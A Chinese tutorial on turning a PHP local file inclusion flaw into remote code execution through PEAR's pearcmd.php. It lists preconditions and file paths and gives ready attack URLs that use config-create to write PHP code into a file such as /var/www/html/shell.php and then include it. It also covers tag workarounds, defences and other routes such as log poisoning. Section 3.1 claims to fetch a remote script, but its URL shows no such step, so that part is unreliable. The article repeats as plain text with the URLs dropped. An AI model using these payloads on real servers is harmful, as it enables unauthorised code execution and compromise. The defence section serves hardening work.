如何利用pear扩展实现rce
字数 1204 2025-08-11 21:26:39

利用PEAR扩展实现RCE的详细教学文档

1. 利用条件

要实现通过PEAR扩展的RCE攻击,必须满足以下三个条件:

  1. 服务器安装PEAR:存在pearcmd.php文件,且攻击者知道该文件的路径
  2. PHP配置php.iniregister_argc_argv设置为On
  3. 文件包含漏洞:存在可包含PHP文件的LFI漏洞,且没有open_basedir限制

2. 前置知识

2.1 PEAR/PECL简介

  • PECL:PHP扩展社区库,用于管理PHP扩展的命令行工具
  • PEAR:PHP扩展与应用库,PECL依赖的类库
  • pearcmd.php:PEAR的命令行接口PHP实现

2.2 安装情况

  • PHP 7.3及以前:默认安装PEAR/PECL
  • PHP 7.4及以后:需要在编译时指定--with-pear才会安装
  • Docker环境:大多数镜像默认安装PEAR/PECL

2.3 常见路径

pearcmd.php可能位于以下路径:

  • /usr/local/lib/php/pearcmd.php
  • /usr/share/pear/pearcmd.php

2.4 register_argc_argv选项

  • 控制是否可以通过$_SERVER['argv']获取命令行参数
  • 默认值
    • php.ini时默认Off
    • php.ini时默认On
  • 影响范围
    • CLI模式不受此选项影响
    • Web模式下必须设为On才能利用

3. 利用方式

3.1 直接下载远程脚本

当目标服务器可出网时,可以直接拉取远程脚本执行:

http://target.com/index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php

3.2 写入本地文件执行

  1. 写入文件
http://target.com/index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?php phpinfo();?>+/var/www/html/shell.php
  1. 包含执行
http://target.com/index.php?file=/var/www/html/shell.php

3.3 常见问题解决

问题:写入的文件无法执行PHP代码
原因php.inishort_open_tag设置为Off
解决方案

  1. 修改php.inishort_open_tag设为On
  2. 或者使用完整PHP标签<?php phpinfo();?>代替短标签<?=phpinfo()?>

4. 防御措施

  1. 禁用PEAR:如不需要,卸载PEAR扩展
  2. 配置安全
    • 设置register_argc_argv = Off
    • 限制open_basedir
  3. 文件包含防护
    • 避免使用用户输入作为文件包含参数
    • 对包含的文件路径进行严格过滤
  4. 更新PHP:使用最新版本PHP,默认不安装PEAR

5. 扩展思考

  1. 替代利用方式:除pearcmd.php外,还可寻找其他可包含的PHP文件
  2. 标签变种:尝试使用<%<script language="php">等替代PHP标签
  3. 日志污染:通过污染日志文件实现RCE
  4. 临时文件利用:结合文件上传和包含临时文件实现RCE

本技术适用于存在LFI漏洞且满足条件的PHP环境,实际利用前应充分测试目标环境配置。

利用PEAR扩展实现RCE的详细教学文档 1. 利用条件 要实现通过PEAR扩展的RCE攻击,必须满足以下三个条件: 服务器安装PEAR :存在 pearcmd.php 文件,且攻击者知道该文件的路径 PHP配置 : php.ini 中 register_argc_argv 设置为 On 文件包含漏洞 :存在可包含PHP文件的LFI漏洞,且没有 open_basedir 限制 2. 前置知识 2.1 PEAR/PECL简介 PECL :PHP扩展社区库,用于管理PHP扩展的命令行工具 PEAR :PHP扩展与应用库,PECL依赖的类库 pearcmd.php :PEAR的命令行接口PHP实现 2.2 安装情况 PHP 7.3及以前 :默认安装PEAR/PECL PHP 7.4及以后 :需要在编译时指定 --with-pear 才会安装 Docker环境 :大多数镜像默认安装PEAR/PECL 2.3 常见路径 pearcmd.php 可能位于以下路径: /usr/local/lib/php/pearcmd.php /usr/share/pear/pearcmd.php 2.4 register_ argc_ argv选项 控制是否可以通过 $_SERVER['argv'] 获取命令行参数 默认值 : 有 php.ini 时默认 Off 无 php.ini 时默认 On 影响范围 : CLI模式不受此选项影响 Web模式下必须设为 On 才能利用 3. 利用方式 3.1 直接下载远程脚本 当目标服务器可出网时,可以直接拉取远程脚本执行: 3.2 写入本地文件执行 写入文件 : 包含执行 : 3.3 常见问题解决 问题 :写入的文件无法执行PHP代码 原因 : php.ini 中 short_open_tag 设置为 Off 解决方案 : 修改 php.ini 将 short_open_tag 设为 On 或者使用完整PHP标签 <?php phpinfo();?> 代替短标签 <?=phpinfo()?> 4. 防御措施 禁用PEAR :如不需要,卸载PEAR扩展 配置安全 : 设置 register_argc_argv = Off 限制 open_basedir 文件包含防护 : 避免使用用户输入作为文件包含参数 对包含的文件路径进行严格过滤 更新PHP :使用最新版本PHP,默认不安装PEAR 5. 扩展思考 替代利用方式 :除 pearcmd.php 外,还可寻找其他可包含的PHP文件 标签变种 :尝试使用 <% 、 <script language="php"> 等替代PHP标签 日志污染 :通过污染日志文件实现RCE 临时文件利用 :结合文件上传和包含临时文件实现RCE 本技术适用于存在LFI漏洞且满足条件的PHP环境,实际利用前应充分测试目标环境配置。